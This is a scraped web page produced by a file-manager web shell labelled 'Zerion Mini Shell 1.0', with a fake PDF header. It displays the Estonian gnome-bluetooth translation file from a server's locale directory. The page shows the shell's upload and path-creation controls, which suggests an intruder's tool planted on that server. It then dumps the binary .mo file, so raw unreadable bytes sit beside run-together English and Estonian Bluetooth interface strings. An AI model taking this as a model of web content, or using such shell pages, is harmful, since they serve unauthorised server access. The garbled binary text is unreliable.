%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/et/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/et/LC_MESSAGES/gnome-bluetooth2.mo

��a$�,89Lcz�*�,����0�(		7	A	[	h		�	�	�	�	�	�	


(
4

;
I
V

h
v
~
�
�
	�
�

�
,�
�
%�
&Y/�����������'?-Mm'��C
3G
{
�
�
�
�
�
@�
$' Lm
����
��#�(,49,An	{�����
�.�������0
3>ry�6����	�� 4Uow����
��
�
'5	=GPi~�,��#��
�LPW]bgm"���	��#�@#Yd/� �6/Fv~����6�"2 Op|!�!���"�,8AQV>_
�	�������& MT	F]?#NX!*BD@\0<7V;&S/LQaRC%KY,5$OA=GW

49"^+2)ZP168_.>3H:EI([`J'U-%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers complete'0000' (most headsets, mice and GPS devices)'1111''1234'ADDRESSAccess the Internet using your cell phone (test)All categoriesAll typesAn unknown error occurredAudio deviceBluetooth Device SetupBluetooth File TransferBluetooth New Device SetupBluetooth TransferCameraChoose files to sendClick to select device...ComputerConnecting to '%s'...Connecting...Custom PIN:DeviceDevice SearchDevice SetupDevice _category:Device _type:DevicesDo not pairDoes not matchFinishing SetupFixed PINFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetInput devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsMatchesModemMouseNAMENetworkNo adapters availableNot paired or trustedPIN OptionsPIN _options...PairedPaired or trustedPairing with '%s' cancelledPhonePlease confirm that the PIN displayed on '%s' matches this one.Please enter the following PIN on '%s' and press “Enter” on the keyboard:Please enter the following PIN on '%s':Please enter the following PIN:Please move the joystick of your iCade in the following directions:Please wait while finishing setup on device '%s'...PrinterRemote device to useRemote device's nameSearching for devices...SelectSelect device to send toSelect the additional services you want to use with your device:Select the device category to filterSelect the device type to filterSend files via BluetoothSending %sSending file %d of %dSetting up '%s' failedSetup Bluetooth devicesSetup SummaryShow:Successfully set up new device '%s'TabletThere was an errorTo:TrustedTypeUnknownUse this GPS device for Geolocation servicesVideo device[FILE...]_Automatic PIN selection_Cancel_Quit_Retry_Send_Try Againapproximately %'d hourapproximately %'d hoursProject-Id-Version: gnome-bluetooth MASTER
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-bluetooth&keywords=I18N+L10N&component=general
PO-Revision-Date: 2013-09-11 22:53+0300
Last-Translator: Mattias Põldaru <mahfiaz@gmail.com>
Language-Team: Estonian <>
Language: et
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n!=1);
X-Generator: Poedit 1.5.4
%'d tund%'d tundi%'d minut%'d minutit%'d sekund%'d sekundit%d B/s%d kB/s%u ülekanne lõpetatud%u ülekannet lõpetatud'0000' (enamik peakomplekte, hiiri ja GPS-seadmeid)'1111''1234'AADRESSLigipääs internetti selle mobiili kaudu (testimisel)Kõik kategooriadKõik liigidEsines tundmatu vigaHeliseadeBluetooth-seadme häälestusBluetoothi failiülekanneUue Bluetooth-seadme häälestusBluetoothi failiülekanneKaameraVali saadetavad failidKlõpsa seadme valimiseks...ArvutiÜhendumine seadmega '%s'...Ühendumine...Muu PIN-kood:SeadeSeadme otsingSeadme häälestusSeadme _kategooria:Seadme _liik:SeadmedEi paarduEi kattuHäälestuse lõpetamineFikseeritud PIN-koodKellelt:KõrvaklapidKõrvaklapid, peakomplekt või muu heliseadePeakomplektSisendseade (hiir, klaviatuur jms.)JoypadKlaviatuurVeendu, et kaugseade on sisse lülitatud ja võtab Bluetooth ühendusi vastuKattubModemHiirNIMIVõrkAdapter pole saadavalPole paardunud ega usaldusväärnePIN-koodi valikudPIN-koodi _valikud...PaardunudPaardunud või usaldusväärnePaardumine seadmega '%s' katkestatiTelefonKontrolli, kas seadmel '%s' kuvatav PIN-kood kattub siinolevaga.Palun sisesta järgnev PIN-kood seadmesse '%s' ja vajuta klaviatuuril klahvi „Enter“:Palun sisesta järgnev PIN-kood seadmesse '%s':Palun sisesta järgnev PIN-kood:Palun liiguta oma iCade'i juhtkangi järgnevas suunas:Palun oota seadme '%s' häälestamise lõppu...PrinterKasutatav kaugseadeKaugseadme nimiSeadmete otsimine...ValiSeadme valimine, kuhu saataVali lisateenused, mida tahad selle seadmega kasutada:Vali filtreeritav seadmekategooriaVali filtreeritav seadmeliikFailide saatmine üle Bluetoothi%s saatmine%d. faili saatmine %d-stSeadme '%s' häälestamine nurjusBluetooth-seadmete häälestamineSeadistuse kokkuvõteNäidatakse:Uue seadme '%s' häälestus edukasGraafikalaudEsines vigaKellele:UsaldusväärneLiikTundmatuSeda GPS-seadet kasutatakse Geopositsioneerimise teenuse jaoksVideoseade[FAIL...]_Automaatselt valitud PIN-kood_Loobu_LõpetaProovi _uuesti_Saada_Proovi uuestiligikaudu %'d tundligikaudu %'d tundi

Zerion Mini Shell 1.0